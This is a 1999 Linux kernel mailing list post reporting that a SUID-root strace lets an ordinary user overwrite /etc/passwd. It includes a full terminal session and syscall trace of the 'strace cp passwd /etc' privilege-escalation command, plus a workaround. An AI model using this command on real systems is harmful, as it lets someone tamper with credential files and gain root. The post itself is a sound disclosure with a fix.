Messages in this thread | | | Date | Wed, 29 Dec 1999 18:00:21 -0500 (EST) | From | "Richard B. Johnson" <> | Subject | strace security <feature> |
| |
Hello security gurus,
This may not be a kernel issue, but `strace` interacts with it so here is the frightening thing:
It is possible for an ordinary user to use `strace` (which by default runs SUID-root), to copy a password file to /etc. Watch!
Script started on Wed Dec 29 17:35:26 1999 $ whoami johnson $ ls -la /etc/passwd -rw-r--r-- 1 system root 1407 Dec 29 17:28 /etc/passwd $ cp passwd /etc cp: cannot create regular file `/etc/passwd': Permission denied $ strace cp passwd /etc brk(0) = 0x8051aa9 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=13265, ...}) = 0 mmap(0, 13265, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4000c000 close(3) = 0 open("/usr/lib/libc.so.6", O_RDONLY) = 3 mmap(0, 4096, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40010000 munmap(0x40010000, 4096) = 0 mmap(0, 644232, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40010000 mprotect(0x4009b000, 74888, PROT_NONE) = 0 mmap(0x4009b000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x8b000) = 0x4009b000 mmap(0x400a1000, 50312, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|0x20, 4294967295, 0) = 0x400a1000 close(3) = 0 mprotect(0x40010000, 569344, PROT_READ|PROT_WRITE) = 0 mprotect(0x40010000, 569344, PROT_READ|PROT_EXEC) = 0 SYS_136(0, 0x3, 0x400a002c, 0xbffff764, 0xbffff754) = 0 getpid() = 369 brk(0) = 0x8051aa9 brk(0x8051af1) = 0x8051af1 brk(0x8052000) = 0x8052000 open("/usr/local/share/locale/locale.alias", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=2032, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|0x20, 4294967295, 0) = 0x400ae000 read(3, "# Locale name alias data base.\n"..., 4096) = 2032 brk(0x8053000) = 0x8053000 read(3, "", 4096) = 0 close(3) = 0 munmap(0x400ae000, 4096) = 0 open("./locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/local/share/locale/en_US.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/local/share/i18n/en_US.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/local/share/locale/en_US.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/local/share/i18n/en_US.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/local/share/locale/en_US/LC_MESSAGES", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=78, ...}) = 0 mmap(0, 78, PROT_READ, MAP_PRIVATE, 3, 0) = 0x400ae000 munmap(0x400ae000, 78) = 0 close(3) = 0 open("/usr/local/share/i18n/en_US/LC_MESSAGES", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=78, ...}) = 0 mmap(0, 78, PROT_READ, MAP_PRIVATE, 3, 0) = 0x400ae000 munmap(0x400ae000, 78) = 0 close(3) = 0 open("/usr/local/share/locale/en.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/local/share/i18n/en.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/local/share/locale/en.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/local/share/i18n/en.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/local/share/locale/en/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/local/share/i18n/en/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory) geteuid() = 0 umask(0) = 022 lstat("/etc", {st_mode=S_IFDIR|0755, st_size=3072, ...}) = 0 stat("/etc", {st_mode=S_IFDIR|0755, st_size=3072, ...}) = 0 stat("passwd", {st_mode=S_IFREG|0644, st_size=1468, ...}) = 0 stat("/etc/passwd", {st_mode=S_IFREG|0644, st_size=1407, ...}) = 0 open("passwd", O_RDONLY) = 3 open("/etc/passwd", O_WRONLY|O_CREAT|O_TRUNC, 0600) = 4 fstat(4, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 fstat(3, {st_mode=S_IFREG|0644, st_size=1468, ...}) = 0 read(3, "root:Edited:0:0:System Ad"..., 4096) = 1468 write(4, "root:Edited:0:0:System Ad"..., 1468) = 1468 read(3, "", 4096) = 0 close(4) = 0 close(3) = 0 _exit(0) = ? $ exit exit
Script done on Wed Dec 29 17:36:30 1999
Note that geteuid() returned 0;
Also:
main() { printf("UID = %d, GID = %d, EUID = %d\n", getuid(), getgid(), geteuid()); } UID = 100, GID = 100, EUID = 100
This is my real UID, etc.
The temporary work-around is to unset the SUID bit in `strace`. The base distribution on this system was RedHat in 1996 (old). Maybe newer distributions have fixed this.
-rwsr-xr-x 1 root root 85397 Feb 26 1996 /usr/local/bin/strace
To see if you have this bug, log onto a user account, create some file, and attempt to `strace cp filename /etc`. If it goes, become root and do chmod 755 `which strace`.
Cheers, Dick Johnson
Penguin : Linux version 2.3.13 on an i686 machine (400.59 BogoMips). Warning : The end of the world as we know it requires a new calendar. Seconds : 194379 (until Y2K)
- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.rutgers.edu Please read the FAQ at http://www.tux.org/lkml/
| |